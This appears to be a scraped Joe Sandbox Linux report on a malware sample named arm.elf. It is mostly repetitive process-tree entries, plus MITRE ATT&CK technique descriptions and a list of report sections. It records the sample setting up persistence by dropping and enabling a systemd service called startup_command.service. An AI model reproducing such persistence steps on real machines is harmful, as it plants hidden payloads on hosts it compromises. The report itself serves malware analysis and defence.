MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6171, Parent PID: 5827

General

Start time (UTC):	23:49:56
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6181, Parent PID: 5827

General

Start time (UTC):	23:50:01
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6183, Parent PID: 5827

General

Start time (UTC):	23:50:01
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6188, Parent PID: 5827

General

Start time (UTC):	23:50:04
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6199, Parent PID: 5827

General

Start time (UTC):	23:50:11
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6201, Parent PID: 5827

General

Start time (UTC):	23:50:11
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6207, Parent PID: 5827

General

Start time (UTC):	23:50:16
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6212, Parent PID: 5827

General

Start time (UTC):	23:50:19
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6221, Parent PID: 5827

General

Start time (UTC):	23:50:21
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6223, Parent PID: 5827

General

Start time (UTC):	23:50:21
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6231, Parent PID: 5827

General

Start time (UTC):	23:50:26
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6234, Parent PID: 5827

General

Start time (UTC):	23:50:26
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6242, Parent PID: 5827

General

Start time (UTC):	23:50:31
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6247, Parent PID: 5827

General

Start time (UTC):	23:50:34
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6256, Parent PID: 5827

General

Start time (UTC):	23:50:36
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6258, Parent PID: 5827

General

Start time (UTC):	23:50:36
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6262, Parent PID: 5827

General

Start time (UTC):	23:50:41
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6265, Parent PID: 5827

General

Start time (UTC):	23:50:41
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6276, Parent PID: 5827

General

Start time (UTC):	23:50:49
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6279, Parent PID: 5827

General

Start time (UTC):	23:50:49
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6282, Parent PID: 5827

General

Start time (UTC):	23:50:49
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6293, Parent PID: 5827

General

Start time (UTC):	23:50:56
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6295, Parent PID: 5827

General

Start time (UTC):	23:50:56
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6303, Parent PID: 5827

General

Start time (UTC):	23:51:01
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6306, Parent PID: 5827

General

Start time (UTC):	23:51:01
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6308, Parent PID: 5827

General

Start time (UTC):	23:51:04
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6312, Parent PID: 5827

General

Start time (UTC):	23:51:06
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6315, Parent PID: 5827

General

Start time (UTC):	23:51:06
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6329, Parent PID: 5827

General

Start time (UTC):	23:51:16
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6334, Parent PID: 5827

General

Start time (UTC):	23:51:19
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 5829, Parent PID: 5825

General

Start time (UTC):	23:49:17
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 5833, Parent PID: 5829

General

Start time (UTC):	23:49:17
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 5831, Parent PID: 5825

General

Start time (UTC):	23:49:17
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 5831, Parent PID: 5825

General

Start time (UTC):	23:49:17
Start date (UTC):	06/01/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl daemon-reload"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5835, Parent PID: 5831

General

Start time (UTC):	23:49:17
Start date (UTC):	06/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5835, Parent PID: 5831

General

Start time (UTC):	23:49:17
Start date (UTC):	06/01/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl daemon-reload
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: arm.elf PID: 5839, Parent PID: 5825

General

Start time (UTC):	23:49:18
Start date (UTC):	06/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 5839, Parent PID: 5825

General

Start time (UTC):	23:49:18
Start date (UTC):	06/01/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl enable startup_command.service"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5841, Parent PID: 5839

General

Start time (UTC):	23:49:18
Start date (UTC):	06/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5841, Parent PID: 5839

General

Start time (UTC):	23:49:18
Start date (UTC):	06/01/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl enable startup_command.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: systemd PID: 5837, Parent PID: 5836

General

Start time (UTC):	23:49:17
Start date (UTC):	06/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 5837, Parent PID: 5836

General

Start time (UTC):	23:49:17
Start date (UTC):	06/01/2025
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Chronological Activities

Analysis Process: systemd PID: 5843, Parent PID: 5842

General

Start time (UTC):	23:49:19
Start date (UTC):	06/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 5843, Parent PID: 5842

General

Start time (UTC):	23:49:19
Start date (UTC):	06/01/2025
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Chronological Activities

Analysis Process: gnome-session-binary PID: 5865, Parent PID: 1498

General

Start time (UTC):	23:49:19
Start date (UTC):	06/01/2025
Path:	/usr/libexec/gnome-session-binary
Arguments:	-
File size:	334664 bytes
MD5 hash:	d9b90be4f7db60cb3c2d3da6a1d31bfb

Chronological Activities

Analysis Process: sh PID: 5865, Parent PID: 1498

General

Start time (UTC):	23:49:19
Start date (UTC):	06/01/2025
Path:	/bin/sh
Arguments:	/bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-rfkill
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: gsd-rfkill PID: 5865, Parent PID: 1498

General

Start time (UTC):	23:49:19
Start date (UTC):	06/01/2025
Path:	/usr/libexec/gsd-rfkill
Arguments:	/usr/libexec/gsd-rfkill
File size:	51808 bytes
MD5 hash:	88a16a3c0aba1759358c06215ecfb5cc

Chronological Activities

Analysis Process: systemd PID: 5870, Parent PID: 1

General

Start time (UTC):	23:49:21
Start date (UTC):	06/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: systemd-hostnamed PID: 5870, Parent PID: 1

General

Start time (UTC):	23:49:21
Start date (UTC):	06/01/2025
Path:	/lib/systemd/systemd-hostnamed
Arguments:	/lib/systemd/systemd-hostnamed
File size:	35040 bytes
MD5 hash:	2cc8a5576629a2d5bd98e49a4b8bef65

Chronological Activities

Analysis Process: gdm3 PID: 6003, Parent PID: 1333

General

Start time (UTC):	23:49:21
Start date (UTC):	06/01/2025
Path:	/usr/sbin/gdm3
Arguments:	-
File size:	453296 bytes
MD5 hash:	2492e2d8d34f9377e3e530a61a15674f

Chronological Activities

Analysis Process: Default PID: 6003, Parent PID: 1333

General

Start time (UTC):	23:49:21
Start date (UTC):	06/01/2025
Path:	/etc/gdm3/PrimeOff/Default
Arguments:	/etc/gdm3/PrimeOff/Default
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: gdm3 PID: 6004, Parent PID: 1333

General

Start time (UTC):	23:49:21
Start date (UTC):	06/01/2025
Path:	/usr/sbin/gdm3
Arguments:	-
File size:	453296 bytes
MD5 hash:	2492e2d8d34f9377e3e530a61a15674f

Chronological Activities

Analysis Process: Default PID: 6004, Parent PID: 1333

General

Start time (UTC):	23:49:21
Start date (UTC):	06/01/2025
Path:	/etc/gdm3/PrimeOff/Default
Arguments:	/etc/gdm3/PrimeOff/Default
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemd PID: 6045, Parent PID: 1

General

Start time (UTC):	23:49:31
Start date (UTC):	06/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: systemd-user-runtime-dir PID: 6045, Parent PID: 1

General

Start time (UTC):	23:49:31
Start date (UTC):	06/01/2025
Path:	/lib/systemd/systemd-user-runtime-dir
Arguments:	/lib/systemd/systemd-user-runtime-dir stop 127
File size:	22672 bytes
MD5 hash:	d55f4b0847f88131dbcfb07435178e54

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Deletion, File: File Metadata, File: File Modification, Firewall: Firewall Rule Modification, Network Traffic: Network Traffic Content, Process: OS API Execution, Process: Process Creation, Scheduled Job: Scheduled Job Modification, User Account: User Account Authentication, User Account: User Account Deletion, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, Google Workspace, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report arm.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/etc/systemd/system/startup_command.service

/memfd:snapd-env-generator (deleted)

/tmp/qemu-open.CjSZ5o (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: arm.elf PID: 5822, Parent PID: 5749

General

Chronological Activities

Analysis Process: arm.elf PID: 5825, Parent PID: 5822

General

Chronological Activities

Analysis Process: arm.elf PID: 5827, Parent PID: 5825

General

Chronological Activities

Analysis Process: arm.elf PID: 6005, Parent PID: 5827

General

Chronological Activities

Analysis Process: arm.elf PID: 6007, Parent PID: 5827

General

Chronological Activities

Analysis Process: arm.elf PID: 6013, Parent PID: 5827

Linux Analysis Report
arm.elf